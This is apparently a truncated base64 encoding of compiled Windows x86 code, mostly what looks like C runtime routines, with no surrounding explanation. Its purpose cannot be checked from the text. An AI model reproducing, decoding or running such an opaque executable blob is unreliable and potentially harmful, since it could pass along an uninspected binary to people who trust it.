Vi+yD7AyLQQRTixlWM/aJVfhXjXkIiU30iUX8OXUIfjaLyP7DD7bbixSfjQQRD7bIiwSPiQSfiRSPAtAPtsKLVfiKBIcwBBZGO3UIfNWJTfyLTfSLRfxfXokZiUEEW4vlXcNVi+xW/3UIi/HoJQAAAMcG9BtAAIvGXl3CBACDYQQAi8GDYQgAx0EE/BtAAMcB9BtAAMNVi+xWi/GNRgTHBtQbQACDIACDYAQAUItFCIPABFDoiR8AAFlZi8ZeXcIEAFWL7FFRi0UIVovxiUX4jUX4xkX8AY1WBMcG1BtAAIMiAINiBABSUOhUHwAAWVmLxl7JwgQAVYvsVv91CIvx6JH////HBhwcQACLxl5dwgQAVYvsUVb/dQiL8Yl1/Oie////xwYcHEAAi8ZeycIEAFWL7Fb/dQiL8ehX////xwYQHEAAi8ZeXcIEAFWL7Fb/dQiL8eg8////xwYoHEAAi8ZeXcIEAFWL7FFW/3UIi/GJdfzoSf///8cGKBxAAIvGXsnCBABVi+xW/3UIi/HoAv///8cGNBxAAIvGXl3CBACNQQTHAdQbQABQ6PUeAABZw41BBMcB1BtAAFDo5B4AAFnDjUEExwHUG0AAUOjTHgAAWcNVi+xWi/GNRgTHBtQbQABQ6LweAAD2RQgBWXQKagxW6AoLAABZWYvGXl3CBABVi+xWi/GNRgTHBtQbQABQ6I8eAAD2RQgBWXQKagxW6N0KAABZWYvGXl3CBABVi+xWi/GNRgTHBtQbQABQ6GIeAAD2RQgBWXQKagxW6LAKAABZWYvGXl3CBABVi+xWi/GNRgTHBtQbQABQ6DUeAAD2RQgBWXQKagxW6IMKAABZWYvGXl3CBABVi+xWi/GNRgTHBtQbQABQ6AgeAAD2RQgBWXQKagxW6FYKAABZWYvGXl3CBABVi+xWi/GNRgTHBtQbQABQ6NsdAAD2RQgBWXQKagxW6CkKAABZWYvGXl3CBABVi+yD7AyNTfT/dQjoH/7//2jsH0IAjUX0UOjDHQAAzFWL7IPsDI1N9P91COhU/v//aCggQgCNRfRQ6KMdAADMi0EEhcB1BbjcG0AAw1a+fCZCAFZoViVBAGh4JkIA6MoEAACDxAyFwHQEi8Zew+j+RQAAzFWL7ItFDMcAPB1AAMdABAMAAAAzwEBdwgwAVYvsg+wgoYwQQAAzxYlF/ItFEFaL8YPsGIvMiXXgiXXgUINhEACDYRQA6MwBAAD/dQyNReT/dQhQ6CUCAACDxCSLzlDoVQAAAI1N5Oj/ov//i00Ii8aJTgyLTQyJThCLTfzHBiAdQAAzzV7o3AgAAMnCDABVi+xWi3UIV1aL+eii/P//xwcgHUAAi0YMiUcMi0YQiUcQi8dfXl3CBABVi+xRi0UIVovxiXX8g3gUEHICiwBQ6Jn8///HBjQcQACLxl7JwgQAVYvsVv91CIvx6KD////HBjAdQACLxl5dwgQAaiC43RZCAOinDQAAi/GJddSLVRCLyoNl6ACJddTHRewPAAAAxkXYAI15AYoBQYTAdfkrz1FSjU3Y6MGj//+DZfwAjUXYUP91DIvO/3UI6Mz+//+NTdjoFKL//8cGMB1AAIvG6DoNAADCDACNQQTHAdQbQABQ6NobAABZw1WL7ItVCFaLdQyLQgSLTgSLQAQ7QQR1CosCOwZ1BLAB6wIywF5dw1WL7PZFCAFWi/F0CmoIVuj6BwAAWVmLxl5dwgQAVYvsVovxjUYExwbUG0AAUOh/GwAA9kUIAVl0CmoUVujNBwAAWVmLxl5dwgQAVYvsVovxjUYExwbUG0AAUOhSGwAA9kUIAVl0CmoUVuigBwAAWVmLxl5dwgQAVYvsUVNWV4t9CIvBiUX8g38UEItfEHICiz+D+xBzDYv3i/hqD6WlpaVe6y+Lw77///9/g8gPO8Z3AovwjUYBUOigpv//i038iQGNSwFRV1DogBsAAItF/IPEEIlYEF+JcBReW8nCBABqILgSF0IA6CUMAACLdQiJddSDZfwAg30kAHQPagJoKB1AAI1NFOiSo///jUXYUI1NDOj8AAAAg3gUEItIEMZF/AFyAosAUVCNTRTobaP//41N2OiVoP//jUUUi85Q6Lqe//+NTRTogqD//4vG6K4LAADDVYvsg+wUVleLfQiLNL08HEAA6IgAAABWUP80vVgcQACNTezo4/3//2jgIEIAjUXsUOhIGgAAzFWL7ItFCItVDIkQiUgEXcIIAFWL7ItBBFaLdQiLVgQ7QgR1C4sGO0UMdQSwAesCMsBeXcIIAFWL7FFRVlf/dQyL+f91CIsHi3AMjUX4UIvO/xWAQUIAi8//1lDo8P3//1lZX17JwggA6UX8//9Vi+z/dQzoMgEAAFmLTQhQ6DGe//+LRQhdwggAVYvsVleLeQT/Mf91CIsXi3IIi87/FYBBQgCLz//Wi0UIX15dwgQAuFQdQADDVYvsUVNWV76IJkIA6HgAAACJRfzongEAAIuOkAEAADPbhcl0UI1+CIP7FH1IixeLwYXSdDaLTfw5T/x1LotHCIXAdAjHAAEAAACLF1LoxwAAAP93BOjqAAAAgycA/46QAQAAi4aQAQAAWVlDg8cUi8iFwHWzi7aUAQAAhfZ1mug/AQAAX15bycP/JXhAQgBVi+xRagBq//91CP8VfEBCAIP4/3QyjUX8UP91CP8VhEBCAIXAdCGLTRCFyXQFi0X8iQH/dQj/FSxAQgD32BvAg+D8g8AEycNqBFjJw1WL7GoA/3UQ/3UM/3UI6JoDAACDxBBdw1WL7ItNCLjYH0AAOQh0EYPACD1IIkAAdfK4XB1AAF3Di0AEXcNVi+xXi30Ig28sAXUZg08o/4tHBFaLcAyLzv8VgEFCAI1PBP/WXjPAX13DVYvsVleLfQiLB4twDIvO/xWAQUIAi8//1l8zwF5dwzPAV4v5QPAPwQWAEEAAdRlWvjAoQgBW6NcDAACDxhhZgf7wKEIAfO5ei8dfw4PI//APwQWAEEAAeRlWvjAoQgBW6J8DAACDxhhZgf7wKEIAfO5ew2iQKEIA6KwDAABZw2iQKEIA6K4DAABZw1ZoxCdAAP8VtEBCAIvwaOAnQABW/xW4QEIAaOwnQABWo/AoQgD/FbhAQgBo9CdAAFaj9ChCAP8VuEBCAGgAKEAAVqP4KEIA/xW4QEIAaAwoQABWo/woQgD/FbhAQgBoKChAAFajAClCAP8VuEBCAGg8KEAAVqMEKUIA/xW4QEIAaEwoQABWowgpQgD/FbhAQgBoYChAAFajDClCAP8VuEBCAGh0KEAAVqMQKUIA/xW4QEIAaIwoQABWoxQpQgD/FbhAQgBooChAAFajGClCAP8VuEBCAGjAKEAAVqMcKUIA/xW4QEIAaNgoQABWoyApQgD/FbhAQgBo8ChAAFajJClCAP8VuEBCAGgEKUAAVqMoKUIA/xW4QEIAaBgpQABWoywpQgD/FbhAQgBoNClAAFajMClCAP8VuEBCAGhUKUAAVqM0KUIA/xW4QEIAozgpQgBocClAAFb/FbhAQgBohClAAFajPClCAP8VuEBCAGiYKUAAVqNAKUIA/xW4QEIAaKgpQABWo0QpQgD/FbhAQgBoyClAAFajSClCAP8VuEBCAGjkKUAAVqNMKUIA/xW4QEIAaAQqQABWo1ApQgD/FbhAQgBoICpAAFajVClCAP8VuEBCAGg4KkAAVqNYKUIA/xW4QEIAaFQqQABWo1wpQgD/FbhAQgBocCpAAFajYClCAP8VuEBCAGiEKkAAVqNkKUIA/xW4QEIAaJwqQABWo2gpQgD/FbhAQgBouCpAAFajbClCAP8VuEBCAGjQKkAAVqNwKUIA/xW4QEIAaOwqQABWo3QpQgD/FbhAQgBoBCtAAFajeClCAP8VuEBCAGgcK0AAVqN8KUIA/xW4QEIAaDArQABWo4ApQgD/FbhAQgBoQCtAAFajhClCAP8VuEBCAGhQK0AAo4gpQgBW/xW4QEIAo4wpQgAzwF7DVYvsVos1BClCAIX2dBj/dRSLzv91EP91DP91CP8VgEFCAP/W6zNTM9szwENXi30Ii8vwD7EPagJe6xaFwHQdO8N1O/8VgEBCAIvLM8DwD7EPO8Z15ovDX1teXcP/dRSLTQz/dRBX/xWAQUIA/1UMhcB1BDP2i96HN4P+AXTXag3/FZhAQgAzwOvNVYvsVos1AClCAIX2dBX/dRCLzv91DP91CP8VgEFCAP/W6w//dQz/dQj/FZxAQgAzwEBeXcNVi+z/dQj/FZBAQgBdw1WL7GoAaKAPAAD/dQjoq////4PEDF3DVYvs/3UI/xWIQEIAXcNVi+z/dQj/FYxAQgBdwzsNjBBAAPJ1AvLD8ulwBgAA6WQHAABVi+zrDf91COgXPwAAWYXAdA//dQjoazoAAFmFwHTmXcODfQj/D4TMBwAA6aoHAABVi+z/dQjoKQcAAFldw1WL7F3puf///1WL7ItFCFaLSDwDyA+3QRSNURgD0A+3QQZr8CgD8jvWdBmLTQw7SgxyCotCCANCDDvIcgyDwig71nXqM8BeXcOLwuv5VugeCQAAhcB0IGShGAAAAL6UKUIAi1AE6wQ70HQQM8CLyvAPsQ6FwHXwMsBew7ABXsNVi+yDfQgAdQfGBZgpQgAB6EIHAADo8R8AAITAdQQywF3D6OxNAACEwHUKagDo+B8AAFnr6bABXcNVi+yAPZkpQgAAdASwAV3DVot1CIX2dAWD/gF1YuiXCAAAhcB0JoX2dSJonClCAOgdTAAAWYXAdQ9oqClCAOgOTAAAWYXAdCsywOswg8n/iQ2cKUIAiQ2gKUIAiQ2kKUIAiQ2oKUIAiQ2sKUIAiQ2wKUIAxgWZKUIAAbABXl3DagXoPwgAAMxqCGhAIUIA6PUJAACDZfwAuE1aAABmOQUAAEAAdV2hPABAAIG4AABAAFBFAAB1TLkLAQAAZjmIGABAAHU+i0UIuQAAQAArwVBR6Hz+//9ZWYXAdCeDeCQAfCHHRfz+////sAHrH4tF7IsAM8mBOAUAAMAPlMGLwcOLZejHRfz+////MsCLTfBkiQ0AAAAAWV9eW8nDVYvs6JYHAACFwHQPgH0IAHUJM8C5lClCAIcBXcNVi+yAPZgpQgAAdAaAfQwAdRL/dQjomkwAAP91COiXHgAAWVmwAV3DVYvsgz2cKUIA//91CHUH6JhKAADrC2icKUIA6PpKAABZ99hZG8D30CNFCF3DVYvs/3UI6Mj////32FkbwPfYSF3DVmoB6HhMAADo0gkAAFDofk0AAOjECQAAi/DoB08AAGoBiTDoNv7//4PEDF6EwHRz2+LoJwoAAGj0O0EA6Kr////ozQYAAFDoHUQAAFlZhcB1UeiUCQAA6OoJAACFwHQLaEM7QQDonUwAAFnoqwkAAOinCQAA6IAJAADoaQkAAFDoCU4AAFnobAkAAITAdAXo6kYAAOipBwAA6J8HAACFwHUBw2oH6HkGAADM6HkJAAAzwMPo0AcAAOgoCQAAUOg0TgAAWcNqFGhgIUIA6BUIAABqAehN/f//WYTAD4RQAQAAMtuIXeeDZfwA6AT9//+IRdyhkClCADPJQTvBD4QvAQAAhcB1SYkNkClCAGhYEEAAaDwQQADoSEwAAFlZhcB0EcdF/P7///+4/wAAAOnvAAAAaDgQQABoABBAAOjbSwAAWVnHBZApQgACAAAA6wWK2Yhd5/913Ogd/v//WejwCAAAi/Az/zk+dBtW6HX9//9ZhMB0EIs2V2oCV4vO/xWAQUIA/9bozggAAIvwOT50E1boT/3//1mEwHQI/zboiz8AAFnowkUAAIv46EFMAACLMOg0TAAAV1b/MOgH6P//g8QMi/DofAYAAITAdGuE23UF6DI/AABqAGoB6Lf9//9ZWcdF/P7///+Lxus1i03siwGLAIlF4FFQ6A47AABZWcOLZejoPQYAAITAdDKAfecAdQXo4j4AAMdF/P7///+LReCLTfBkiQ0AAAAAWV9eW8nDagfo6wQAAFboFT8AAP914OjRPgAAzOhCBwAA6XT+//9Vi+z2RQgBVovxxwZkK0AAdApqDFboLfv//1lZi8ZeXcIEAItN9GSJDQAAAABZX19eW4vlXVHyw4tN8DPN8ui++v//8una////UGT/NQAAAACNRCQMK2QkDFNWV4koi+ihjBBAADPFUIlF8P91/MdF/P////+NRfRkowAAAADyw1Bk/zUAAAAAjUQkDCtkJAxTVleJKIvooYwQQAAzxVCJZfD/dfzHRfz/////jUX0ZKMAAAAA8sPDzMzMzMzMzMzMzMzMzFaLRCQUC8B1KItMJBCLRCQMM9L38YvYi0QkCPfxi/CLw/dkJBCLyIvG92QkEAPR60eLyItcJBCLVCQMi0QkCNHp0dvR6tHYC8l19Pfzi/D3ZCQUi8iLRCQQ9+YD0XIOO1QkDHcIcg87RCQIdglOK0QkEBtUJBQz2ytEJAgbVCQM99r32IPaAIvKi9OL2YvIi8ZewhAAVYvsagD/FcBAQgD/dQj/FbxAQgBoCQQAwP8VxEBCAFD/FchAQgBdw1WL7IHsJAMAAGoX6MrSAACFwHQFagJZzSmjuCpCAIkNtCpCAIkVsCpCAIkdrCpCAIk1qCpCAIk9pCpCAGaMFdAqQgBmjA3EKkIAZowdoCpCAGaMBZwqQgBmjCWYKkIAZowtlCpCAJyPBcgqQgCLRQCjvCpCAItFBKPAKkIAjUUIo8wqQgCLhdz8///HBQgqQgABAAEAocAqQgCjxClCAMcFuClCAAkEAMDHBbwpQgABAAAAxwXIKUIAAQAAAGoEWGvAAMeAzClCAAIAAABqBFhrwACLDYwQQACJTAX4agRYweAAiw2IEEAAiUwF+GhoK0AA6OH+///Jw+mjNQAAVYvsVv91CIvx6E3s///HBnQrQACLxl5dwgQAg2EEAIvBg2EIAMdBBHwrQADHAXQrQADDjUEExwHUG0AAUOgoDAAAWcNVi+xWi/GNRgTHBtQbQABQ6BEMAAD2RQgBWXQKagxW6F/4//9ZWYvGXl3CBABVi+yD7AyNTfToxOv//2h8H0IAjUX0UOj8CwAAzFWL7IPsDI1N9Oh/////aHwhQgCNRfRQ6N8LAADMVYvsgyXULEIAAIPsJFMz20MJHZAQQABqCugT0QAAhcAPhGwBAACDZfAAM8CDDZAQQAACM8lWV4kd1CxCAI193FMPoovzW4kHiXcEiU8IM8mJVwyLRdyLfeCJRfSB90dlbnWLReg1aW5lSYlF+ItF5DVudGVsiUX8M8BAUw+ii/NbjV3ciQOLRfwLRfgLx4lzBIlLCIlTDHVDi0XcJfA//w89wAYBAHQjPWAGAgB0HD1wBgIAdBU9UAYDAHQOPWAGAwB0Bz1wBgMAdRGLPdgsQgCDzwGJPdgsQgDrBos92CxCAIN99AeLReSJRfx8MmoHWDPJUw+ii/NbjV3ciQOLRfyJcwSJSwiJUwyLXeD3wwACAAB0DoPPAok92CxCAOsDi13wX16pAAAQAHRmgw2QEEAABMcF1CxCAAIAAACpAAAACHROqQAAABB0RzPJDwHQiUXsiVXwi0Xsi03wg+AGg/gGdS6hkBBAAIPICMcF1CxCAAMAAACjkBBAAPbDIHQSg8ggxwXULEIABQAAAKOQEEAAM8BbycMzwEDDM8A5Bdw2QgAPlcDDVYvsgewkAwAAU2oX6HnPAACFwHQFi00IzSlqA+iUAQAAxwQkzAIAAI2F3Pz//2oAUOh9FQAAg8QMiYWM/f//iY2I/f//iZWE/f//iZ2A/f//ibV8/f//ib14/f//ZoyVpP3//2aMjZj9//9mjJ10/f//ZoyFcP3//2aMpWz9//9mjK1o/f//nI+FnP3//4tFBImFlP3//41FBImFoP3//8eF3Pz//wEAAQCLQPxqUImFkP3//41FqGoAUOjzFAAAi0UEg8QMx0WoFQAAQMdFrAEAAACJRbT/FdBAQgBqAI1Y//fbjUWoiUX4jYXc/P//GtuJRfz+w/8VwEBCAI1F+FD/FbxAQgCFwHUMhNt1CGoD6J8AAABZW8nD6VIAAAAzwMNqAP8VtEBCAIXAdDS5TVoAAGY5CHUqi0g8A8iBOVBFAAB1HbgLAQAAZjlBGHUSg3l0DnYMg7noAAAAAHQDsAHDMsDDaAE6QQD/FcBAQgDDM8DDVYvsi0UIiwCBOGNzbeB1JYN4EAN1H4tAFD0gBZMZdBs9IQWTGXQUPSIFkxl0DT0AQJkBdAYzwF3CBADoEjEAAMyDJdwsQgAAw8zMzMzMzGgQUEEAZP81AAAAAItEJBCJbCQQjWwkECvgU1ZXoYwQQAAxRfwzxVCJZej/dfiLRfzHRfz+////iUX4jUXwZKMAAAAA8sOLTfBkiQ0AAAAAWV9fXluL5V1R8sNVi+yD7BSDZfQAjUX0g2X4AFD/FbBAQgCLRfgzRfSJRfz/FXhAQgAxRfz/FdhAQgAxRfyNRexQ/xWUQEIAi0XwjU38M0XsM0X8M8HJw4sNjBBAAFZXv07mQLu+AAD//zvPdASFznUm6JT///+LyDvPdQe5T+ZAu+sOhc51Cg0RRwAAweAQC8iJDYwQQAD30V+JDYgQQABewzPAwzPAw7gAQAAAwzPAwzPAw2jgLEIA/xXcQEIAw7ABw2gAAAMAaAAAAQBqAOghRQAAg8QMhcB1AcNqB+gJ/f//zMPDuOgsQgDDuPAsQgDD6O////+LSASDCASJSATo5////4tIBIMIAolIBMMzwDkFoBBAAA+UwMO42DZCAMO41DZCAMNTVr5EtEAAu0S0QAA783MZV4s+hf90CovP/xWAQUIA/9eDxgQ783LpX15bw1NWvky0QAC7TLRAADvzcxlXiz6F/3QKi8//FYBBQgD/14PGBDvzculfXlvDUf8VkEBCAMNWizUQLUIAhfZ0GIvO6BMAAABqHFbowPL//4MlEC1CAABZWV7DVovxiw6FyXQQi4EAAQAAagGDIADoFwAAAI1OBF7psf///1WL7P91CP8VrEBCAF3DVYvsgH0IAHQOM8BA8A/BgQgFAABA6wyLgQAFAAArgQQFAACD+AF1CP8x/xXgQEIAXcIEAIM9HC1CAAAPhU0AAADDVYvsg+wQxwWALUIAAQAAAFZohC1CAP8V6EBCAIvwjUX4MzWMEEAAUFBQjUXwUP8V7EBCAFD/FfBAQgCFwHQIi0X0M0XwM/CLxl7Jw4PI//APwQW4EEAASD0AAACAdRLoDgAAALn///9/uLgQQADwIQjD6BQAAAD/NWgtQgDoLv///4MlaC1CAABZw/810C1CAP8VrEBCAIMl0C1CAADDVYvsUYtFGItNHFNWi1gQV4t4DIvXiVX8i/KFyXgta8IUg8MIA8OLXRCD+v90PIPoFEo5WPx9BDsYfgWD+v91B4t1/EmJVfyFyXneQjv3dxo71ncWi0UIi00MX4lwDF6JCIlQBIlICFvJw+iGLQAAzFWL7IPsGKGMEEAAjU3og2XoADPBi00IiUXwi0UMiUX0i0UUQMdF7JU/QQCJTfiJRfxkoQAAAACJReiNRehkowAAAAD/dRhR/3UQ6PMhAACLyItF6GSjAAAAAIvBycNVi+yD7EBTgX0IIwEAAHUSuOY+QQCLTQyJATPAQOnBAAAAg2XAAMdFxDJAQQChjBBAAI1NwDPBiUXIi0UYiUXMi0UMiUXQi0UciUXUi0UgiUXYg2XcAINl4ACDZeQAiWXciW3gZKEAAAAAiUXAjUXAZKMAAAAAx0X4AQAAAItFCIlF6ItFEIlF7OgMEwAAi0AIiUX8oYBBQgCJRfSLTfz/VfSLRfyJRfCNRehQi0UI/zD/VfBZWYNl+ACDfeQAdBdkix0AAAAAiwOLXcCJA2SJHQAAAADrCYtFwGSjAAAAAItF+FvJw1WL7FFTi0UMg8AMiUX8ZIsdAAAAAIsDZKMAAAAAi0UIi10Mi238i2P8/+BbycIIAFWL7FFRU1ZXZIs1AAAAAIl1+MdF/Gw/QQBqAP91DP91/P91CP8VAEFCAItFDItABIPg/YtNDIlBBGSLPQAAAACLXfiJO2SJHQAAAABfXlvJwggAVYvsVvyLdQyLTggzzugV7///agBW/3YU/3YMagD/dRD/dhD/dQjorhoAAIPEIF5dw1WL7ItNDFaLdQiJDujvEQAAi0gkiU4E6OQRAACJcCSLxl5dw1WL7Fbo0xEAAIt1CDtwJHUOi3YE6MMRAACJcCReXcPouBEAAItIJIPBBOsHO/B0C41IBIsBhcB0Cevxi0YEiQHr2ugiKwAAzFWL7FFT/ItFDItICDNNDOh27v//i0UIi0AEg+BmdBGLRQzHQCQBAAAAM8BA62zramoBi0UM/3AYi0UM/3AUi0UM/3AMagD/dRCLRQz/cBD/dQjo5RkAAIPEIItFDIN4JAB1C/91CP91DOii/v//agBqAGoAagBqAI1F/FBoIwEAAOh0/f//g8Qci0X8i10Mi2Mci2sg/+AzwEBbycNVi+yD7AhTVlf8iUX8M8BQUFD/dfz/dRT/dRD/dQz/dQjoeRkAAIPEIIlF+F9eW4tF+IvlXcNqCGi4IUIA6D/5//+LRQiFwHR0gThjc23gdWyDeBADdWaBeBQgBZMZdBKBeBQhBZMZdAmBeBQiBZMZdUuLSByFyXREi1EEhdJ0H4Nl/ABS/3AY6EkAAADHRfz+////6yczwDhFDA+VwMP2ARB0GYtAGIsIhcl0EIsBUYtwCIvO/xWAQUIA/9aLTfBkiQ0AAAAAWV9eW8nDi2Xo6K8pAADMVYvsi00I/1UMXcIIAFWL7OgMEAAAi0AkhcB0DotNCDkIdAyLQASFwHX1M8BAXcMzwF3DVYvsi00Mi1UIVosBi3EEA8KF9ngNi0kIixQWiwwKA84DwV5dw1WL7ItFCIsAgThSQ0PgdB6BOE1PQ+B0FoE4Y3Nt4HUh6KQPAACDYBgA6SgpAADolg8AAIN4GAB+COiLDwAA/0gYM8Bdw1WL7FeLfQiAfwQAdEiLD4XJdEKNUQGKAUGEwHX5K8pTVo1ZAVPo6yYAAIvwWYX2dBn/N1NW6KVCAACLRQyLzoPEDDP2iQjGQAQBVuhMKQAAWV5b6wuLTQyLB4kBxkEEAF9dw1WL7FaLdQiAfgQAdAj/NuglKQAAWYMmAMZGBABeXcNVi+yD7CBTi10IVldqCFm+5C5AAI194POli30Mhf90HfYHEHQYiwuD6QRRiwGLcCCLzot4GP8VgEFCAP/WiV34iX38hf90DPYHCHQHx0X0AECZAY1F9FD/dfD/deT/deD/FQRBQgBfXlvJwggAzMzMzMzMzMzMzMzMzMzMV1aLdCQQi0wkFIt8JAyLwYvRA8Y7/nYIO/gPgpQCAACD+SAPgtIEAACB+YAAAABzEw+6JZAQQAABD4KOBAAA6eMBAAAPuiXYLEIAAXMJ86SLRCQMXl/Di8czxqkPAAAAdQ4PuiWQEEAAAQ+C4AMAAA+6JdgsQgAAD4OpAQAA98cDAAAAD4WdAQAA98YDAAAAD4WsAQAAD7rnAnMNiwaD6QSNdgSJB41/BA+65wNzEfMPfg6D6QiNdghmD9YPjX8I98YHAAAAdGUPuuYDD4O0AAAAZg9vTvSNdvSL/2YPb14Qg+kwZg9vRiBmD29uMI12MIP5MGYPb9NmDzoP2QxmD38fZg9v4GYPOg/CDGYPf0cQZg9vzWYPOg/sDGYPf28gjX8wc7eNdgzprwAAAGYPb074jXb4jUkAZg9vXhCD6TBmD29GIGYPb24wjXYwg/kwZg9v02YPOg/ZCGYPfx9mD2/gZg86D8IIZg9/RxBmD2/NZg86D+wIZg9/byCNfzBzt412COtWZg9vTvyNdvyL/2YPb14Qg+kwZg9vRiBmD29uMI12MIP5MGYPb9NmDzoP2QRmD38fZg9v4GYPOg/CBGYPf0cQZg9vzWYPOg/sBGYPf28gjX8wc7eNdgSD+RByE/MPbw6D6RCNdhBmD38PjX8Q6+gPuuECcw2LBoPpBI12BIkHjX8ED7rhA3MR8w9+DoPpCI12CGYP1g+NfwiLBI2kRUEA/+D3xwMAAAB0E4oGiAdJg8YBg8cB98cDAAAAde2L0YP5IA+CrgIAAMHpAvOlg+ID/ySVpEVBAP8kjbRFQQCQtEVBALxFQQDIRUEA3EVBAItEJAxeX8OQigaIB4tEJAxeX8OQigaIB4pGAYhHAYtEJAxeX8ONSQCKBogHikYBiEcBikYCiEcCi0QkDF5fw5CNNA6NPA+D+SAPglEBAAAPuiWQEEAAAQ+ClAAAAPfHAwAAAHQUi9eD4gMryopG/4hH/05Pg+oBdfOD+SAPgh4BAACL0cHpAoPiA4PuBIPvBP3zpfz/JJVQRkEAkGBGQQBoRkEAeEZBAIxGQQCLRCQMXl/DkIpGA4hHA4tEJAxeX8ONSQCKRgOIRwOKRgKIRwKLRCQMXl/DkIpGA4hHA4pGAohHAopGAYhHAYtEJAxeX8P3xw8AAAB0D0lOT4oGiAf3xw8AAAB18YH5gAAAAHJoge6AAAAAge+AAAAA8w9vBvMPb04Q8w9vViDzD29eMPMPb2ZA8w9vblDzD292YPMPb35w8w9/B/MPf08Q8w9/VyDzD39fMPMPf2dA8w9/b1DzD393YPMPf39wgemAAAAA98GA////dZCD+SByI4PuIIPvIPMPbwbzD29OEPMPfwfzD39PEIPpIPfB4P///3Xd98H8////dBWD7wSD7gSLBokHg+kE98H8////deuFyXQPg+8Bg+4BigaIB4PpAXXxi0QkDF5fw+sDzMzMi8aD4A+FwA+F4wAAAIvRg+F/weoHdGaNpCQAAAAAi/9mD28GZg9vThBmD29WIGYPb14wZg9/B2YPf08QZg9/VyBmD39fMGYPb2ZAZg9vblBmD292YGYPb35wZg9/Z0BmD39vUGYPf3dgZg9/f3CNtoAAAACNv4AAAABKdaOFyXRfi9HB6gWF0nQhjZsAAAAA8w9vBvMPb04Q8w9/B/MPf08QjXYgjX8gSnXlg+EfdDCLwcHpAnQPixaJF4PHBIPGBIPpAXXxi8iD4QN0E4oGiAdGR0l1942kJAAAAACNSQCLRCQMXl/DjaQkAAAAAIv/uhAAAAAr0CvKUYvCi8iD4QN0CYoWiBdGR0l198HoAnQNixaJF412BI1/BEh181np6f7//8zMzMzMzMzMzMzMzFdWi3QkEItMJBSLfCQMi8GL0QPGO/52CDv4D4KUAgAAg/kgD4LSBAAAgfmAAAAAcxMPuiWQEEAAAQ+CjgQAAOnjAQAAD7ol2CxCAAFzCfOki0QkDF5fw4vHM8apDwAAAHUOD7olkBBAAAEPguADAAAPuiXYLEIAAA+DqQEAAPfHAwAAAA+FnQEAAPfGAwAAAA+FrAEAAA+65wJzDYsGg+kEjXYEiQeNfwQPuucDcxHzD34Og+kIjXYIZg/WD41/CPfGBwAAAHRlD7rmAw+DtAAAAGYPb070jXb0i/9mD29eEIPpMGYPb0YgZg9vbjCNdjCD+TBmD2/TZg86D9kMZg9/H2YPb+BmDzoPwgxmD39HEGYPb81mDzoP7AxmD39vII1/MHO3jXYM6a8AAABmD29O+I12+I1JAGYPb14Qg+kwZg9vRiBmD29uMI12MIP5MGYPb9NmDzoP2QhmD38fZg9v4GYPOg/CCGYPf0cQZg9vzWYPOg/sCGYPf28gjX8wc7eNdgjrVmYPb078jXb8i/9mD29eEIPpMGYPb0YgZg9vbjCNdjCD+TBmD2/TZg86D9kEZg9/H2YPb+BmDzoPwgRmD39HEGYPb81mDzoP7ARmD39vII1/MHO3jXYEg/kQchPzD28Og+kQjXYQZg9/D41/EOvoD7rhAnMNiwaD6QSNdgSJB41/BA+64QNzEfMPfg6D6QiNdghmD9YPjX8IiwSNJEtBAP/g98cDAAAAdBOKBogHSYPGAYPHAffHAwAAAHXti9GD+SAPgq4CAADB6QLzpYPiA/8klSRLQQD/JI00S0EAkDRLQQA8S0EASEtBAFxLQQCLRCQMXl/DkIoGiAeLRCQMXl/DkIoGiAeKRgGIRwGLRCQMXl/DjUkAigaIB4pGAYhHAYpGAohHAotEJAxeX8OQjTQOjTwPg/kgD4JRAQAAD7olkBBAAAEPgpQAAAD3xwMAAAB0FIvXg+IDK8qKRv+IR/9OT4PqAXXzg/kgD4IeAQAAi9HB6QKD4gOD7gSD7wT986X8/ySV0EtBAJDgS0EA6EtBAPhLQQAMTEEAi0QkDF5fw5CKRgOIRwOLRCQMXl/DjUkAikYDiEcDikYCiEcCi0QkDF5fw5CKRgOIRwOKRgKIRwKKRgGIRwGLRCQMXl/D98cPAAAAdA9JTk+KBogH98cPAAAAdfGB+YAAAAByaIHugAAAAIHvgAAAAPMPbwbzD29OEPMPb1Yg8w9vXjDzD29mQPMPb25Q8w9vdmDzD29+cPMPfwfzD39PEPMPf1cg8w9/XzDzD39nQPMPf29Q8w9/d2DzD39/cIHpgAAAAPfBgP///3WQg/kgciOD7iCD7yDzD28G8w9vThDzD38H8w9/TxCD6SD3weD///913ffB/P///3QVg+8Eg+4EiwaJB4PpBPfB/P///3Xrhcl0D4PvAYPuAYoGiAeD6QF18YtEJAxeX8PrA8zMzIvGg+APhcAPheMAAACL0YPhf8HqB3RmjaQkAAAAAIv/Zg9vBmYPb04QZg9vViBmD29eMGYPfwdmD39PEGYPf1cgZg9/XzBmD29mQGYPb25QZg9vdmBmD29+cGYPf2dAZg9/b1BmD393YGYPf39wjbaAAAAAjb+AAAAASnWjhcl0X4vRweoFhdJ0IY2bAAAAAPMPbwbzD29OEPMPfwfzD39PEI12II1/IEp15YPhH3Qwi8HB6QJ0D4sWiReDxwSDxgSD6QF18YvIg+EDdBOKBogHRkdJdfeNpCQAAAAAjUkAi0QkDF5fw42kJAAAAACL/7oQAAAAK9ArylGLwovIg+EDdAmKFogXRkdJdffB6AJ0DYsWiReNdgSNfwRIdfNZ6en+///MzMzMzMzMzMzMzMyLTCQMD7ZEJAiL14t8JASFyQ+EPAEAAGnAAQEBAYP5IA+G3wAAAIH5gAAAAA+CiwAAAA+6JdgsQgABcwnzqotEJASL+sMPuiWQEEAAAQ+DsgAAAGYPbsBmD3DAAAPPDxEHg8cQg+fwK8+B+YAAAAB2TI2kJAAAAACNpCQAAAAAkGYPfwdmD39HEGYPf0cgZg9/RzBmD39HQGYPf0dQZg9/R2BmD39HcI2/gAAAAIHpgAAAAPfBAP///3XF6xMPuiWQEEAAAXM+Zg9uwGYPcMAAg/kgchzzD38H8w9/RxCDxyCD6SCD+SBz7PfBHwAAAHRijXwP4PMPfwfzD39HEItEJASL+sP3wQMAAAB0DogHR4PpAffBAwAAAHXy98EEAAAAdAiJB4PHBIPpBPfB+P///3QgjaQkAAAAAI2bAAAAAIkHiUcEg8cIg+kI98H4////de2LRCQEi/rD6BoRAACEwHUDMsDD6LsCAACEwHUH6EERAADr7bABw1WL7IB9CAB1CujSAgAA6CkRAACwAV3DVYvsVot1CFeLfQyLBoP4/nQNi04EA88zDDjozd7//4tGCItODAPPMww4X15d6bre///MzMzMzMzMzMzMzMzMzFWL7IPsHFOLXQhWV8ZF/wD/M8dF9AEAAADoGcAAAIkDi10Mi0MIjXMQMwWMEEAAVlCJdfCJRfjohP////91EOgIEAAAi0UIg8QQi3sM9kAEZnVaiUXki0UQiUXojUXkiUP8g//+dGmLTfiNRwKNBEeLHIGNBIGLSASJReyFyXQUi9bomREAALEBi